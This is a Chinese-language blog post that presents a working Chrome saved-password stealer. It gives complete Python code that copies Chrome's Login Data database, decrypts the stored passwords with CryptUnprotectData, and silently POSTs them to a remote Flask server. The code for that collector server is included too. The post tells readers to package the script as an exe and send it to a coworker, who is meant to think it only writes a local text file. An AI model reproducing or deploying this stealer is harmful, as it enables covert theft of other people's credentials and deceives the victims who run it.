使用 Python 假裝黑客,批量破解朋友的網站密碼

  • 2019 年 11 月 22 日
  • 筆記

如何破解iphone登陸密碼

今天看了一篇關於如何破解iphone手機密碼的文章,瞬間覺得科學技術不是第一生產力,why?

根據「可靠消息」稱,即便美國FBI也無法輕易的對iphone手機進行暴力破解,當然美國有一家黑客公司可針對iphone進行破解,單收費過萬美金。

那麼鋪天蓋地的iphone手機密碼破解「黑客」是怎麼做的? 無非是騙,他們假裝成各類官方人員告訴你發現你的iphone手機存在異常,需要遠程告知apple_id幫你追回手機,呵呵…. 可是,這個梗和今天的文章有什麼關係呢?

黑客的自我修養

隨着Python的活躍,各大平台都在鼓吹,甚至已經出了關於python黑客入門的書籍。也許做一個黑客難如登天,那不如我們換個思路,去假裝做一個偽黑客如何?

前幾天看帖子,發現我們使用瀏覽器的時候,當登陸一個需要輸入用戶名密碼的網站時,在你登陸成功後,系統會提示你是否保存密碼,如果點擊確認,瀏覽器將會把我們本次輸入的密碼,存儲在瀏覽器中,待下次登錄時便可以免密登錄。 那麼,這些密碼是怎麼保存的,又存儲在哪裡呢?

Chrome瀏覽器

也許很多人會說,360瀏覽器、QQ瀏覽器,這些國產的加殼瀏覽器不論美觀還是所謂的安全方面都做的很符合國人需求。但如果你的工作與IT掛鈎,無疑Chrome將是很多朋友的首選。當然這篇文章不是介紹Chrome瀏覽器的使用手冊,今天我們主要來看看Chrome瀏覽器的密碼存儲機制。

查看Chrome存儲的密碼錶單

點擊你們的Chrome瀏覽器右上角,進入設置->高級->管理密碼(根據瀏覽器版本不同,可能存在部分差異),亦或者在Chrome瀏覽器中輸入chrome://settings/passwords。你會看到很多已保存過的密碼錶單信息,當然如果你要查看密碼詳情,就要輸入電腦的系統管理員密碼。

那麼,Chrome的密碼是以什麼方式進行存儲的呢?SQLite… 很多嵌入式產品中,都會使用SQLite數據庫進行數據存儲,它佔用資源低,數據庫即文件,又支持sql語法的增刪改查,簡直不要太方便

SQLite在哪,又該怎麼查詢?

首先,進入我的電腦,地址欄中輸入%LOCALAPPDATA%,進入app的數據存儲路徑:

C:UsersAdministratorAppDataLocal

之後進入chrome瀏覽器的密碼數據庫統一地址為:

GoogleChromeUser DataDefaultLogin Data

查看Chrome瀏覽器存儲的密碼

既然拿到了SQLite數據庫文件,我們隨便找個sqlite工具,就能打開這個數據庫了! 這裡我使用sqlitestudio:

數據庫信息展示.png

打開數據庫,我們看到有三張表: logins 、meta、 stats 其中logins中就存儲這你保存的網址、用戶名、密碼數據,分別是: signon_realm,username_value,password_value 但問題來了,password_value的字段看着是空的啊?因為加密了! 如何解密?網上查了下:

CryptUnprotectData數據可以在win32crypt中找到,要使用該模塊,需要進行安裝: pip install pywin32 萬事俱備,就差擼代碼了!

代碼實現
import os  import shutil  import sqlite3  import win32crypt    db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'GoogleChromeUser DataDefaultLogin Data')    tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')  print(tmp_file)  if os.path.exists(tmp_file):      os.remove(tmp_file)  shutil.copyfile(db_file_path, tmp_file)    conn = sqlite3.connect(tmp_file)  for row in conn.execute('select signon_realm,username_value,password_value from logins'):      ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0)      print('網站:%-50s,用戶名:%-20s,密碼:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))    conn.close()  os.remove(tmp_file)  

通過解密,我們獲取到了Chrome瀏覽器保存的用戶名密碼,然後保存至文本。

獲取到的本地密碼.png

之後我們只需要使用pyinstaller -F xxx.py,將代碼打包成exe發給同事,就可以在他的電腦上獲取密碼了! 但,如果咱們的黑客之旅到此為止,那這個偽黑客未免有點low了吧?

數據回傳

為什麼說要打包成exe?一是可以脫離環境單獨執行,二卻是為了加殼! 我們在原有的代碼基礎上,添加如下內容

import requests  try: # 記得添加try except 不然萬一你忘記啟動Flask程序,豈不是讓同事發現了      requests.post('http://192.168.1.101:9999/index',                    data=''.join(passwordList).encode('utf-8'))  except:      pass  

最後整理我們的代碼:

# -*- coding: utf-8 -*-  # @Author  : 王翔  # @JianShu : 清風Python  # @Date    : 2019/5/18 22:53  # Software : PyCharm  # version:Python 3.6.8  # @File    : ChromePassword.py    import os  import shutil  import sqlite3  import win32crypt  import json  import requests    APP_DATA_PATH = os.environ["LOCALAPPDATA"]  DB_PATH = r'GoogleChromeUser DataDefaultLogin Data'      class ChromePassword:        def __init__(self):          self.passwordsList = []        def get_chrome_db(self):          _full_path = os.path.join(APP_DATA_PATH, DB_PATH)          _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')          if os.path.exists(_tmp_file):              os.remove(_tmp_file)          shutil.copyfile(_full_path, _tmp_file)          self.show_passwords(_tmp_file)        def show_passwords(self, db_file):          conn = sqlite3.connect(db_file)          _sql = '''select signon_realm,username_value,password_value from logins'''          for row in conn.execute(_sql):              ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)              # 密碼解析後得到的是位元組碼,需要進行解碼操作              _info = 'url: %-40s username: %-20s password: %sn' %                       (row[0][:50], row[1], ret[1].decode())              self.passwordsList.append(_info)          conn.close()          os.remove(db_file)        def save_passwords(self):          with open('password.txt', 'w', encoding='utf-8') as f:              f.writelines(self.passwordsList)        def transfer_passwords(self):          try:              # 此處填寫遠端Flask對應的IP:PORT              requests.post('http://192.168.1.102:9999/index',                            data=json.dumps(self.passwordsList))          except requests.exceptions.ConnectionError:              pass      if __name__ == '__main__':      Main = ChromePassword()      Main.get_chrome_db()      Main.save_passwords()      Main.transfer_passwords()  

下來,我們在本地寫一個最簡單的Flask程序,用戶獲取回傳的參數,代碼如下:

# -*- coding: utf-8 -*-  # @Author  : 王翔  # @JianShu : 清風Python  # @Date    : 2019/5/18 22:53  # Software : PyCharm  # version:Python 3.6.8  # @File    : ChromePassword.py    from flask import Flask, request  import time  import json    app = Flask(__name__)      @app.route('/index', methods=["GET", "POST"])  def index():      if request.method == 'POST':          _txtName = '%s_%s.txt' % (request.remote_addr,                                    time.strftime('%Y%m%d%H%M%S', time.localtime()))          with open(_txtName, 'w', encoding='utf-8') as f:              f.writelines(json.loads(request.data))      return "小哥,裏面玩兒啊"      if __name__ == '__main__':      # 端口可自行設置      app.run(host='0.0.0.0', port=9999)  

打完收工,就差同事去點擊你發給他的exe了。他以為你的工具僅僅把Chrome密碼生成txt保存, 其實,在他點擊工具的同時,你電腦會獲取他傳輸的數據,並存儲在一個ip時間戳的文本中!

Flask回傳.png

然後,拿去給他們炫耀吧!